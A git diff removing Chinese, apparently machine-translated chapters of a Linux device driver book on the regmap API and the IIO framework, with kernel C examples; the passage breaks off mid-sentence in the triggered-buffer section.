-它对寄存器映射执行读/修改/写周期。是`_regmap_update_bits`上的一个包装纸,看起来如下: - -```sh -static int _regmap_update_bits(struct regmap *map, - unsigned int reg, unsigned int mask, - unsigned int val, bool *change) -{ - int ret; - unsigned int tmp, orig; - - ret = _regmap_read(map, reg, &orig); - if (ret != 0) - return ret; - - tmp = orig& ~mask; - tmp |= val & mask; - - if (tmp != orig) { - ret = _regmap_write(map, reg, tmp); - *change = true; - } else { - *change = false; - } - - return ret; -} -``` - -这样,您需要更新的位必须在`mask`中设置为`1`,相应的位应该在`val`中设置为您需要给它们的值。 - -例如,将第一位和第三位设置为`1`,掩码应为`0b00000101`,值应为`0bxxxxx1x1`。要清除第七位,掩码必须是`0b01000000`,值应该是`0bx0xxxxxx`,以此类推。 - -# 特殊 regmap_multi_reg_write 函数 - -`remap_multi_reg_write()`功能的目的是向设备写入多个寄存器。它的原型如下所示: - -```sh -int regmap_multi_reg_write(struct regmap *map, - const struct reg_sequence *regs, int num_regs) -``` - -要了解如何使用该功能,您需要知道`struct reg_sequence`是什么: - -```sh -/** - * Register/value pairs for sequences of writes with an optional delay in - * microseconds to be applied after each write. - * - * @reg: Register address. - * @def: Register value. - * @delay_us: Delay to be applied after the register write in microseconds - */ -struct reg_sequence { - unsigned int reg; - unsigned int def; - unsigned int delay_us; -}; -``` - -这就是它的用法: - -```sh -static const struct reg_sequence foo_default_regs[] = { - { FOO_REG1, 0xB8 }, - { BAR_REG1, 0x00 }, - { FOO_BAR_REG1, 0x10 }, - { REG_INIT, 0x00 }, - { REG_POWER, 0x00 }, - { REG_BLABLA, 0x00 }, -}; - -staticint probe ( ...) -{ - [...] - ret = regmap_multi_reg_write(my_regmap, foo_default_regs, - ARRAY_SIZE(foo_default_regs)); - [...] -} -``` - -# 其他设备访问功能 - -`regmap_bulk_read()`和`regmap_bulk_write()`用于从/向器件读取/写入多个寄存器。将它们用于大数据块。 - -```sh -int regmap_bulk_read(struct regmap *map, unsigned int reg, void - *val, size_tval_count); -int regmap_bulk_write(struct regmap *map, unsigned int reg, - const void *val, size_t val_count); -``` - -请随意查看内核源代码中的 regmap 头文件,看看您有什么选择。 - -# regmap 和缓存 - -显然,regmap 支持缓存。是否使用缓存系统取决于`regmap_config`中`cache_type`字段的值。看着`include/linux/regmap.h`,公认的价值观是: - -```sh -/* Anenum of all the supported cache types */ -enum regcache_type { - REGCACHE_NONE, - REGCACHE_RBTREE, - REGCACHE_COMPRESSED, - REGCACHE_FLAT, -}; -``` - -默认设置为`REGCACHE_NONE`,表示缓存被禁用。其他值只是定义缓存应该如何存储。 - -您的设备可能在某些寄存器中有预定义的上电复位值。这些值可以存储在数组中,因此任何读取操作都会返回数组中包含的值。但是,任何写操作都会影响器件中的真实寄存器,并更新阵列中的内容。这是一种缓存,我们可以用它来加速对设备的访问。那阵是`reg_defaults`。它的结构在源代码中是这样的: - -```sh -/** - * Default value for a register. We use an array of structs rather - * than a simple array as many modern devices have very sparse - * register maps. - * - * @reg: Register address. - * @def: Register default value. - */ -struct reg_default { - unsigned int reg; - unsigned int def; -}; -``` - -`reg_defaults` is ignored if `cache_type` is set to none. If no `default_reg` is set but you still enable the cache, the corresponding cache structure will be created for you. - -使用起来相当简单。只需声明它,并将其作为参数传递给`regmap_config`结构。我们来看看`drivers/regulator/ltc3589.c`的`LTC3589`调节器驱动: - -```sh -static const struct reg_default ltc3589_reg_defaults[] = { -{ LTC3589_SCR1, 0x00 }, -{ LTC3589_OVEN, 0x00 }, -{ LTC3589_SCR2, 0x00 }, -{ LTC3589_VCCR, 0x00 }, -{ LTC3589_B1DTV1, 0x19 }, -{ LTC3589_B1DTV2, 0x19 }, -{ LTC3589_VRRCR, 0xff }, -{ LTC3589_B2DTV1, 0x19 }, -{ LTC3589_B2DTV2, 0x19 }, -{ LTC3589_B3DTV1, 0x19 }, -{ LTC3589_B3DTV2, 0x19 }, -{ LTC3589_L2DTV1, 0x19 }, -{ LTC3589_L2DTV2, 0x19 }, -}; -static const struct regmap_config ltc3589_regmap_config = { - .reg_bits = 8, - .val_bits = 8, - .writeable_reg = ltc3589_writeable_reg, - .readable_reg = ltc3589_readable_reg, - .volatile_reg = ltc3589_volatile_reg, - .max_register = LTC3589_L2DTV2, - .reg_defaults = ltc3589_reg_defaults, - .num_reg_defaults = ARRAY_SIZE(ltc3589_reg_defaults), - .use_single_rw = true, - .cache_type = REGCACHE_RBTREE, -}; -``` - -对数组中任何一个寄存器的任何读操作都会立即返回数组中的值。但是,将对设备本身执行写操作,并更新阵列中受影响的寄存器。这样,读取`LTC3589_VRRCR`寄存器将返回`0xff`;在寄存器中写入任何值,且它将更新其在阵列中条目,使得任何新的读取操作将直接从高速缓存返回最后写入的值。 - -# 把它们放在一起 - -执行以下步骤来设置 regmap 子系统: - -1. 根据您设备的特性,设置一个结构`regmap_config`。如果需要,设置寄存器范围,默认值(如果有),如果需要,设置`cache_type`等等。如果需要自定义读/写功能,将其传递到`reg_read/reg_write`字段。 -2. 在`probe`功能中,根据总线:I2C 或 SPI,使用`regmap_init_i2c`或`regmap_init_spi`分配一个 regmap。 -3. 每当需要从寄存器中读取/写入寄存器时,调用`remap_[read|write]`函数。 -4. 当你完成注册映射后,调用`regmap_exit`释放`probe`中分配的注册映射。 - -# regmap 示例 - -为了实现我们的目标,让我们首先描述一个我们可以为其编写驱动的假 SPI 设备: - -* 8 位寄存器地址 -* 8 位寄存器值 -* 最大寄存器:0x80 -* 写屏蔽为 0x80 -* 有效地址范围: - * 0x20 至 0x4F - * 0x60 至 0x7F -* 不需要自定义读/写功能。 - -下面是一副假骨架: - -```sh -/* mandatory for regmap */ -#include -/* Depending on your need you should include other files */ - -static struct private_struct -{ - /* Feel free to add whatever you want here */ - struct regmap *map; - int foo; -}; - -static const struct regmap_range wr_rd_range[] = -{ - { - .range_min = 0x20, - .range_max = 0x4F, - },{ - .range_min = 0x60, - .range_max = 0x7F - }, -}; - -struct regmap_access_table drv_wr_table = -{ - .yes_ranges = wr_rd_range, - .n_yes_ranges = ARRAY_SIZE(wr_rd_range), -}; - -struct regmap_access_table drv_rd_table = -{ - .yes_ranges = wr_rd_range, - .n_yes_ranges = ARRAY_SIZE(wr_rd_range), -}; - -static bool writeable_reg(struct device *dev, unsigned int reg) -{ - if (reg>= 0x20 &®<= 0x4F) - return true; - if (reg>= 0x60 &®<= 0x7F) - return true; - return false; -} - -static bool readable_reg(struct device *dev, unsigned int reg) -{ - if (reg>= 0x20 &®<= 0x4F) - return true; - if (reg>= 0x60 &®<= 0x7F) - return true; - return false; -} - -static int my_spi_drv_probe(struct spi_device *dev) -{ - struct regmap_config config; - struct custom_drv_private_struct *priv; - unsigned char data; - - /* setup the regmap configuration */ - memset(&config, 0, sizeof(config)); - config.reg_bits = 8; - config.val_bits = 8; - config.write_flag_mask = 0x80; - config.max_register = 0x80; - config.fast_io = true; - config.writeable_reg = drv_writeable_reg; - config.readable_reg = drv_readable_reg; - - /* - * If writeable_reg and readable_reg are set, - * there is no need to provide wr_table nor rd_table. - * Uncomment below code only if you do not want to use - * writeable_reg nor readable_reg. - */ - //config.wr_table = drv_wr_table; - //config.rd_table = drv_rd_table; - - /* allocate the private data structures */ - /* priv = kzalloc */ - - /* Init the regmap spi configuration */ - priv->map = regmap_init_spi(dev, &config); - /* Use regmap_init_i2c in case of i2c bus */ - - /* - * Let us write into some register - * Keep in mind that, below operation will remain same - * whether you use SPI or I2C. It is and advantage when - * you use regmap. - */ - regmap_read(priv->map, 0x30, &data); - [...] /* Process data */ - - data = 0x24; - regmap_write(priv->map, 0x23, data); /* write new value */ - - /* set bit 2 (starting from 0) and 6 of register 0x44 */ - regmap_update_bits(priv->map, 0x44, 0b00100010, 0xFF); - [...] /* Lot of stuff */ - return 0; -} -``` - -# 摘要 - -这一章是关于注册表应用编程接口的。它有多容易,让你知道它有多有用和广泛使用。本章已经告诉了您关于 regmap API 需要了解的一切。现在,您应该能够将任何标准的 SPI/I2C 驱动转换为 regmap。下一章将介绍 IIO 器件,一个模数转换器的框架。这些类型的设备总是位于 SPI/I2C 总线之上。在下一章的结尾,使用 regmap API 编写一个 IIO 驱动对我们来说将是一个挑战。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/10.md b/docs/linux-device-driver-dev/10.md deleted file mode 100644 index de433304..00000000 --- a/docs/linux-device-driver-dev/10.md +++ /dev/null @@ -1,1300 +0,0 @@ -# 十、IIO 框架 - -**工业 I/O** ( **IIO** )是一个内核子系统,专门用于**数模转换器** ( **模数转换器**)和**数模转换器** ( **数模转换器**)。随着越来越多具有不同代码实现的传感器(具有模拟到数字或数字到模拟功能的测量设备)分散在内核资源中,收集它们变得很有必要。这就是 IIO 框架所做的,以一种通用和同质的方式。Jonathan Cameron 和 Linux-IIO 社区从 2009 年开始开发它。 - -加速度计、陀螺仪、电流/电压测量芯片、光传感器、压力传感器等都属于 IIO 系列器件。 - -IIO 模式基于设备和渠道架构: - -* 设备代表芯片本身。它是层次结构的顶层。 -* 通道代表设备的一条采集线。一个设备可以有一个或多个通道。例如,加速度计是具有三个通道的设备,每个轴(X、Y 和 Z)一个通道。 - -IIO 芯片是物理和硬件传感器/转换器。它作为字符设备(当支持触发缓冲时)和一个 **sysfs** 目录条目暴露给用户空间,该目录条目将包含一组文件,其中一些代表通道。单个通道由单个 **sysfs** 文件条目表示。 - -以下是从用户空间与 IIO 驱动交互的两种方式: - -* `/sys/bus/iio/iio:deviceX/`:代表传感器及其通道 -* `/dev/iio:deviceX`:这是一个导出设备事件和数据缓冲区的字符设备 - -![](img/00019.jpeg) - -IIO framework architecture and layout - -上图显示了 IIO 框架是如何在内核和用户空间之间组织的。该驱动使用 IIO 核心公开的一组工具和应用编程接口来管理硬件和对 IIO 核心的报告处理。然后,IIO 子系统通过 sysfs 接口和字符设备将整个底层机制抽象到用户空间,用户可以在此基础上执行系统调用。 - -IIO API 分布在几个头文件中,如下所示: - -```sh -#include /* mandatory */ -#include /* mandatory since sysfs is used */ -#include /* For advanced users, to manage iio events */ -#include /* mandatory to use triggered buffers */ -#include /* Only if you implement trigger in your driver (rarely used)*/ -``` - -在本章中,我们将描述和处理 IIO 框架的每个概念,例如 - -* 遍历其数据结构(设备、通道等) -* 触发缓冲区支持和连续捕获,以及它的 sysfs 接口 -* 探索现有的 IIO 触发器 -* 以一次性模式或连续模式捕获数据 -* 列出可以帮助开发人员测试设备的可用工具 - -# IIO 数据结构 - -IIO 设备在内核中被表示为`struct iio_dev`的一个实例,并由`struct iio_info`结构描述。所有重要的 IIO 建筑都在`include/linux/iio/iio.h`中定义。 - -# iio_dev 结构 - -该结构表示 IIO 设备,描述设备和驱动。它告诉我们: - -* 设备上有多少个可用频道? -* 该设备可以在哪些模式下运行:单次触发缓冲? -* 这个驱动有哪些钩子? - -```sh -struct iio_dev { - [...] - int modes; - int currentmode; - struct device dev; - - struct iio_buffer *buffer; - int scan_bytes; - - const unsigned long *available_scan_masks; - const unsigned long *active_scan_mask; - bool scan_timestamp; - struct iio_trigger *trig; - struct iio_poll_func *pollfunc; - - struct iio_chan_spec const *channels; - int num_channels; - const char *name; - const struct iio_info *info; - const struct iio_buffer_setup_ops *setup_ops; - struct cdev chrdev; -}; -``` - -完整的结构在 IIO 头文件中定义。我们不感兴趣的字段在此删除。 - -* `modes`:代表设备支持的不同模式。支持的模式有: - * `INDIO_DIRECT_MODE`表示设备提供 sysfs 类型的接口。 - * `INDIO_BUFFER_TRIGGERED`表示设备支持硬件触发。当您使用`iio_triggered_buffer_setup()`功能设置触发缓冲时,该模式会自动添加到您的设备中。 - * `INDIO_BUFFER_HARDWARE`显示设备有硬件缓冲区。 - * `INDIO_ALL_BUFFER_MODES`是以上两者的并集。 -* `currentmode`:表示设备实际使用的模式。 -* `dev`:表示 IIO 设备绑定到的结构设备(根据 Linux 设备模型)。 -* `buffer`:这是你的数据缓冲区,使用触发缓冲模式的时候推送到用户空间。当您使用`iio_triggered_buffer_setup`功能启用触发缓冲支持时,它会自动分配并关联到您的设备。 -* `scan_bytes`:这是捕获并输入到`buffer`的字节数。从用户空间使用触发缓冲区时,缓冲区至少要有`indio->scan_bytes`字节大。 -* `available_scan_masks`:这是一个可选的允许位掩码数组。使用触发缓冲器时,可以捕获通道并将其送入 IIO 缓冲器。如果您不想允许启用某些通道,您应该仅用允许的通道填充此数组。以下是为加速度计(具有 X、Y 和 Z 通道)提供扫描屏蔽的示例: - -```sh -/* - * Bitmasks 0x7 (0b111) and 0 (0b000) are allowed. - * It means one can enable none or all of them. - * one can't for example enable only channel X and Y - */ -static const unsigned long my_scan_masks[] = {0x7, 0}; -indio_dev->available_scan_masks = my_scan_masks; -``` - -* `active_scan_mask`:这是使能通道的位掩码。只有那些通道的数据才应该被推入`buffer`。例如,对于 8 通道 ADC 转换器,如果仅使能第一(0)、第三(2)和最后(7)通道,位掩码将为 0b10000101 (0x85)。`active_scan_mask`将设置为 0x85。然后,驱动可以使用`for_each_set_bit`宏遍历每个设置的位,根据通道获取数据,并填充缓冲区。 -* `scan_timestamp`:这告诉我们是否将捕获时间戳推入缓冲区。如果为真,时间戳将作为缓冲区的最后一个元素被推送。时间戳是 8 字节(64 位)大。 -* `trig`:这是当前设备触发(支持缓冲模式时)。 -* `pollfunc`:这是正在接收的触发器上运行的功能。 -* `channels`:这代表了表通道规范结构,用来描述设备拥有的每一个通道。 -* `num_channels`:表示`channels`中指定的通道数。 -* `name`:表示设备名称。 -* `info`:来自驱动的回调和常量信息。 -* `setup_ops`:启用/禁用缓冲区前后要调用的一组回调函数。该结构在`include/linux/iio/iio.h`中定义如下: - -```sh -struct iio_buffer_setup_ops { - int (* preenable) (struct iio_dev *); - int (* postenable) (struct iio_dev *); - int (* predisable) (struct iio_dev *); - int (* postdisable) (struct iio_dev *); - bool (* validate_scan_mask) (struct iio_dev *indio_dev, - const unsigned long *scan_mask); -}; -``` - -* `setup_ops`:如果没有指定,IIO 核心使用`drivers/iio/buffer/industrialio-triggered-buffer.c`中定义的默认`iio_triggered_buffer_setup_ops`。 -* `chrdev`:这是 IIO 核心创建的关联人物装置。 - -用于为 IIO 设备分配内存的功能是`iio_device_alloc()`: - -```sh -struct iio_dev *devm_iio_device_alloc(struct device *dev, - int sizeof_priv) -``` - -`dev`是为其分配`iio_dev`的设备,`sizeof_priv`是用于为任何私有结构分配的内存空间。这样,传递每个设备(私有)的数据结构非常简单。如果分配失败,该功能返回`NULL`: - -```sh -struct iio_dev *indio_dev; -struct my_private_data *data; -indio_dev = iio_device_alloc(sizeof(*data)); -if (!indio_dev) - return -ENOMEM; -/*data is given the address of reserved momory for private data */ -data = iio_priv(indio_dev); -``` - -分配 IIO 设备内存后,下一步是填充不同的字段。完成后,必须使用`iio_device_register`功能向 IIO 子系统注册设备: - -```sh -int iio_device_register(struct iio_dev *indio_dev) -``` - -该功能执行后,设备将准备好接受来自用户空间的请求。反向操作(通常在释放功能中完成)为`iio_device_unregister()`: - -```sh -void iio_device_unregister(struct iio_dev *indio_dev) -``` - -一旦取消注册,`iio_device_alloc`分配的内存可以通过`iio_device_free`释放: - -```sh -void iio_device_free(struct iio_dev *iio_dev) -``` - -给定一个 IIO 设备作为参数,可以通过以下方式检索私有数据: - -```sh -struct my_private_data *the_data = iio_priv(indio_dev); -``` - -# iio_info 结构 - -`struct iio_info`结构用于声明 IIO 核使用的钩子,以便读取/写入通道/属性值: - -```sh -struct iio_info { - struct module *driver_module; - const struct attribute_group *attrs; - - int (*read_raw)(struct iio_dev *indio_dev, - struct iio_chan_spec const *chan, - int *val, int *val2, long mask); - - int (*write_raw)(struct iio_dev *indio_dev, - struct iio_chan_spec const *chan, - int val, int val2, long mask); - [...] -}; -``` - -我们不感兴趣的字段已被删除。 - -* `driver_module`:这是用来保证`chrdevs`正确归属的模块结构,通常设置为`THIS_MODULE`。 -* `attrs`:代表设备属性。 -* `read_raw`:这是用户读取设备`sysfs`文件属性时的回调运行。`mask`参数是一个位掩码,允许我们知道请求哪种类型的值。`channel`参数让我们知道相关的频道。它可以用于采样频率、用于将原始值转换为可用值的比例,或者原始值本身。 -* `write_raw`:这是用于向设备写入值的回调。例如,可以使用它来设置采样频率。 - -下面的代码展示了如何设置`struct iio_info`结构: - -```sh -static const struct iio_info iio_dummy_info = { - .driver_module = THIS_MODULE, - .read_raw = &iio_dummy_read_raw, - .write_raw = &iio_dummy_write_raw, -[...] - -/* - * Provide device type specific interface functions and - * constant data. - */ -indio_dev->info = &iio_dummy_info; -``` - -# IIO 频道 - -一个通道代表一条采集线。例如,加速度计将有 3 个通道(X、Y、Z),因为每个轴代表一条采集线。`struct iio_chan_spec`是表示和描述内核中单个通道的结构: - -```sh - struct iio_chan_spec { - enum iio_chan_type type; - int channel; - int channel2; - unsigned long address; - int scan_index; - struct { - charsign; - u8 realbits; - u8 storagebits; - u8 shift; - u8 repeat; - enum iio_endian endianness; - } scan_type; - long info_mask_separate; - long info_mask_shared_by_type; - long info_mask_shared_by_dir; - long info_mask_shared_by_all; - const struct iio_event_spec *event_spec; - unsigned int num_event_specs; - const struct iio_chan_spec_ext_info *ext_info; - const char *extend_name; - const char *datasheet_name; - unsigned modified:1; - unsigned indexed:1; - unsigned output:1; - unsigned differential:1; - }; -``` - -以下是结构中每个柠檬的含义: - -* `type`:指定通道进行哪种类型的测量。如果是电压测量,应该是`IIO_VOLTAGE`。对于光传感器,它是`IIO_LIGHT`。对于加速度计,使用`IIO_ACCEL`。所有可用类型在`include/uapi/linux/iio/types.h`中定义为`enum iio_chan_type`。要为给定的转换器编写驱动,请查看该文件,查看每个通道所属的类型。 -* `channel`:指定`.indexed`设为 1 时的频道索引。 -* `channel2`:当`.modified`设置为 1 时,指定通道修改器。 -* `modified`:指定是否将修改器应用于该通道属性名称。在这种情况下,修改器设置在`.channel2`中。(例如,`IIO_MOD_X`、`IIO_MOD_Y`、`IIO_MOD_Z`是关于 xyz 轴的轴向传感器的修饰符)。可用修改器列表在内核 IIO 头中定义为`enum iio_modifier`。修改器只会破坏`sysfs`中的通道属性名称,而不是值。 -* `indexed`:指定频道属性名是否有索引。如果是,则在`.channel`字段中指定索引。 -* `scan_index`和`scan_type`:当使用缓冲区触发器时,这些字段用于识别缓冲区中的元素。`scan_index`设置缓冲区内捕获通道的位置。`scan_index`较低的通道将被置于较高索引的通道之前。将`.scan_index`设置为`-1`将防止通道缓冲捕获(在`scan_elements`目录中没有条目)。 - -暴露给用户空间的通道 sysfs 属性以位掩码的形式指定。根据共享信息,属性可以设置为以下掩码之一: - -* `info_mask_separate`将属性标记为特定于该通道。 -* `info_mask_shared_by_type`将该属性标记为由同一类型的所有通道共享。导出的信息由同一类型的所有通道共享。 -* `info_mask_shared_by_dir`将属性标记为由同一方向的所有通道共享。导出的信息由同一方向的所有通道共享。 -* `info_mask_shared_by_all`将属性标记为由所有通道共享,无论它们的类型或方向如何。导出的信息由所有渠道共享。枚举这些属性的位掩码都在`include/linux/iio/iio.h` *:* 中定义 - -```sh -enum iio_chan_info_enum { - IIO_CHAN_INFO_RAW = 0, - IIO_CHAN_INFO_PROCESSED, - IIO_CHAN_INFO_SCALE, - IIO_CHAN_INFO_OFFSET, - IIO_CHAN_INFO_CALIBSCALE, - [...] - IIO_CHAN_INFO_SAMP_FREQ, - IIO_CHAN_INFO_FREQUENCY, - IIO_CHAN_INFO_PHASE, - IIO_CHAN_INFO_HARDWAREGAIN, - IIO_CHAN_INFO_HYSTERESIS, - [...] -}; -``` - -字符顺序字段应该是以下之一: - -```sh -enum iio_endian { - IIO_CPU, - IIO_BE, - IIO_LE, -}; -``` - -# 通道属性命名约定 - -该属性的名称由 IIO 核心按照以下模式自动生成:`{direction}_{type}_{index}_{modifier}_{info_mask}`: - -* `direction`对应属性方向,根据`drivers/iio/industrialio-core.c`中的`struct iio_direction`结构: - -```sh -static const char * const iio_direction[] = { - [0] = "in", - [1] = "out", -}; -``` - -* `type`对应通道类型,根据 char 数组`const iio_chan_type_name_spec`: - -```sh -static const char * const iio_chan_type_name_spec[] = { - [IIO_VOLTAGE] = "voltage", - [IIO_CURRENT] = "current", - [IIO_POWER] = "power", - [IIO_ACCEL] = "accel", - [...] - [IIO_UVINDEX] = "uvindex", - [IIO_ELECTRICALCONDUCTIVITY] = "electricalconductivity", - [IIO_COUNT] = "count", - [IIO_INDEX] = "index", - [IIO_GRAVITY] = "gravity", -}; -``` - -* `index`模式取决于通道`.indexed`字段是否被设置。如果设置,将从`.channel`字段获取索引,以替换`{index}`模式。 -* `modifier`模式取决于通道`.modified`字段是否被设置。如果设置,修改器将从`.channel2`字段获取,并且`{modifier}`模式将根据 char 数组`struct iio_modifier_names`结构进行替换: - -```sh -static const char * const iio_modifier_names[] = { - [IIO_MOD_X] = "x", - [IIO_MOD_Y] = "y", - [IIO_MOD_Z] = "z", - [IIO_MOD_X_AND_Y] = "x&y", - [IIO_MOD_X_AND_Z] = "x&z", - [IIO_MOD_Y_AND_Z] = "y&z", - [...] - [IIO_MOD_CO2] = "co2", - [IIO_MOD_VOC] = "voc", -}; -``` - -* `info_mask`取决于通道信息掩码,私有或共享,字符数组中的索引值`iio_chan_info_postfix`: - -```sh -/* relies on pairs of these shared then separate */ -static const char * const iio_chan_info_postfix[] = { - [IIO_CHAN_INFO_RAW] = "raw", - [IIO_CHAN_INFO_PROCESSED] = "input", - [IIO_CHAN_INFO_SCALE] = "scale", - [IIO_CHAN_INFO_CALIBBIAS] = "calibbias", - [...] - [IIO_CHAN_INFO_SAMP_FREQ] = "sampling_frequency", - [IIO_CHAN_INFO_FREQUENCY] = "frequency", - [...] -}; -``` - -# 区分频道 - -当每个通道类型有多个数据通道时,您可能会发现自己有麻烦。难题在于:如何识别它们。对此有两种解决方案:索引和修饰符。 - -**使用索引**:给定一个具有一条通道线的模数转换器,不需要索引。它的通道定义是: - -```sh -static const struct iio_chan_spec adc_channels[] = { - { - .type = IIO_VOLTAGE, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - }, -} -``` - -由前面描述的通道产生的属性名将是`in_voltage_raw`。 - -`/sys/bus/iio/iio:deviceX/in_voltage_raw` - -现在假设转换器有 4 个甚至 8 个通道。我们如何识别它们?解决办法是使用索引。将`.indexed`字段设置为 1 将会损坏通道属性名称,用`.channel`值替换`{index}`模式: - -```sh -static const struct iio_chan_spec adc_channels[] = { - { - .type = IIO_VOLTAGE, - .indexed = 1, - .channel = 0, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - }, - { - .type = IIO_VOLTAGE, - .indexed = 1, - .channel = 1, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - }, - { - .type = IIO_VOLTAGE, - .indexed = 1, - .channel = 2, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - }, - { - .type = IIO_VOLTAGE, - .indexed = 1, - .channel = 3, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - }, -} -``` - -产生的通道属性是: - -`/sys/bus/iio/iio:deviceX/in_voltage0_raw` -`/sys/bus/iio/iio:deviceX/in_voltage1_raw` -`/sys/bus/iio/iio:deviceX/in_voltage2_raw` -`/sys/bus/iio/iio:deviceX/in_voltage3_raw` - -**使用修改器**:给定一个有两个通道的光传感器——一个用于红外光,一个用于红外光和可见光,没有索引或修改器,属性名将是`in_intensity_raw`。在这里使用索引很容易出错,因为拥有`in_intensity0_ir_raw`和`in_intensity1_ir_raw`是没有意义的。使用修饰符将有助于提供有意义的属性名。该频道的定义可能如下所示: - -```sh -static const struct iio_chan_spec mylight_channels[] = { - { - .type = IIO_INTENSITY, - .modified = 1, - .channel2 = IIO_MOD_LIGHT_IR, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared = BIT(IIO_CHAN_INFO_SAMP_FREQ), - }, - { - .type = IIO_INTENSITY, - .modified = 1, - .channel2 = IIO_MOD_LIGHT_BOTH, - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), - .info_mask_shared = BIT(IIO_CHAN_INFO_SAMP_FREQ), - }, - { - .type = IIO_LIGHT, - .info_mask_separate = BIT(IIO_CHAN_INFO_PROCESSED), - .info_mask_shared = BIT(IIO_CHAN_INFO_SAMP_FREQ), - }, -} -``` - -结果属性将是: - -* `/sys/bus/iio/iio:deviceX/in_intensity_ir_raw`用于测量红外强度的通道 -* `/sys/bus/iio/iio:deviceX/in_intensity_both_raw`用于测量红外线和可见光的通道 -* `/sys/bus/iio/iio:deviceX/in_illuminance_input`为处理后的数据 -* `/sys/bus/iio/iio:deviceX/sampling_frequency`为采样频率,由所有人共享 - -加速度计也是如此,我们将在案例研究中进一步了解。现在,让我们总结一下到目前为止我们在虚拟 IIO 车手中讨论的内容。 - -# 把它们放在一起 - -让我们总结一下到目前为止在一个简单的虚拟驱动中看到的内容,它将暴露四个电压通道。我们将忽略`read()`或`write()`功能: - -```sh -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define FAKE_VOLTAGE_CHANNEL(num) \ - { \ - .type = IIO_VOLTAGE, \ - .indexed = 1, \ - .channel = (num), \ - .address = (num), \ - .info_mask_separate = BIT(IIO_CHAN_INFO_RAW), \ - .info_mask_shared_by_type = BIT(IIO_CHAN_INFO_SCALE) \ - } - -struct my_private_data { - int foo; - int bar; - struct mutex lock; -}; - -static int fake_read_raw(struct iio_dev *indio_dev, - struct iio_chan_spec const *channel, int *val, - int *val2, long mask) -{ - return 0; -} - -static int fake_write_raw(struct iio_dev *indio_dev, - struct iio_chan_spec const *chan, - int val, int val2, long mask) -{ - return 0; -} - -static const struct iio_chan_spec fake_channels[] = { - FAKE_VOLTAGE_CHANNEL(0), - FAKE_VOLTAGE_CHANNEL(1), - FAKE_VOLTAGE_CHANNEL(2), - FAKE_VOLTAGE_CHANNEL(3), -}; - -static const struct of_device_id iio_dummy_ids[] = { - { .compatible = "packt,iio-dummy-random", }, - { /* sentinel */ } -}; - -static const struct iio_info fake_iio_info = { - .read_raw = fake_read_raw, - .write_raw = fake_write_raw, - .driver_module = THIS_MODULE, -}; - -static int my_pdrv_probe (struct platform_device *pdev) -{ - struct iio_dev *indio_dev; - struct my_private_data *data; - - indio_dev = devm_iio_device_alloc(&pdev->dev, sizeof(*data)); - if (!indio_dev) { - dev_err(&pdev->dev, "iio allocation failed!\n"); - return -ENOMEM; - } - - data = iio_priv(indio_dev); - mutex_init(&data->lock); - indio_dev->dev.parent = &pdev->dev; - indio_dev->info = &fake_iio_info; - indio_dev->name = KBUILD_MODNAME; - indio_dev->modes = INDIO_DIRECT_MODE; - indio_dev->channels = fake_channels; - indio_dev->num_channels = ARRAY_SIZE(fake_channels); - indio_dev->available_scan_masks = 0xF; - - iio_device_register(indio_dev); - platform_set_drvdata(pdev, indio_dev); - return 0; -} - -static void my_pdrv_remove(struct platform_device *pdev) -{ - struct iio_dev *indio_dev = platform_get_drvdata(pdev); - iio_device_unregister(indio_dev); -} - -static struct platform_driver mypdrv = { - .probe = my_pdrv_probe, - .remove = my_pdrv_remove, - .driver = { - .name = "iio-dummy-random", - .of_match_table = of_match_ptr(iio_dummy_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -加载上述模块后,我们将获得以下输出,显示我们的设备确实对应于我们注册的平台设备: - -```sh -~# ls -l /sys/bus/iio/devices/ -lrwxrwxrwx 1 root root 0 Jul 31 20:26 iio:device0 -> ../../../devices/platform/iio-dummy-random.0/iio:device0 -lrwxrwxrwx 1 root root 0 Jul 31 20:23 iio_sysfs_trigger -> ../../../devices/iio_sysfs_trigger -``` - -下面的列表显示了该设备拥有的频道及其名称,它们与我们在驱动中描述的完全一致: - -```sh -~# ls /sys/bus/iio/devices/iio\:device0/ -dev in_voltage2_raw name uevent -in_voltage0_raw in_voltage3_raw power -in_voltage1_raw in_voltage_scale subsystem -~# cat /sys/bus/iio/devices/iio:device0/name -iio_dummy_random -``` - -# 触发缓冲支持 - -在许多数据分析应用中,能够基于一些外部信号(触发器)捕获数据是非常有用的。这些触发器可能是: - -* 数据就绪信号 -* 连接到某个外部系统(GPIO 或其他系统)的 IRQ 线路 -* 处理器内周期性中断 -* 在 sysfs 中读取/写入特定文件的用户空间 - -IIO 设备驱动与触发器完全无关。触发器可以初始化一个或多个设备上的数据捕获。这些触发器用于填充缓冲区,作为字符设备暴露给用户空间。 - -一个人可以开发自己的触发器驱动,但这超出了本书的范围。我们将尽量只关注现有的。这些是: - -* `iio-trig-interrupt`:这为使用任何 IRQ 作为 IIO 触发器提供了支持。在旧的内核版本中,它曾经是`iio-trig-gpio`。启用该触发模式的核心选项是`CONFIG_IIO_INTERRUPT_TRIGGER`。如果构建为模块,该模块将被称为`iio-trig-interrupt`。 -* `iio-trig-hrtimer`:这提供了使用 HRT 作为中断源的基于频率的 IIO 触发器(从内核 4.5 开始)。在旧的内核版本中,它曾经是`iio-trig-rtc`。负责这个触发模式的内核选项是`IIO_HRTIMER_TRIGGER`。如果构建为模块,该模块将被称为`iio-trig-hrtimer`。 -* `iio-trig-sysfs`:这允许我们使用 sysfs 条目来触发数据捕获。`CONFIG_IIO_SYSFS_TRIGGER`是增加该触发模式支持的内核选项。 -* `iio-trig-bfin-timer`:这允许我们使用一个黑鳍定时器作为 IIO 触发器(还在准备中)。 - -IIO 公开了应用编程接口,这样我们就可以: - -* 声明任意给定数量的触发器 -* 选择将数据推入缓冲区的通道 - -当您的 IIO 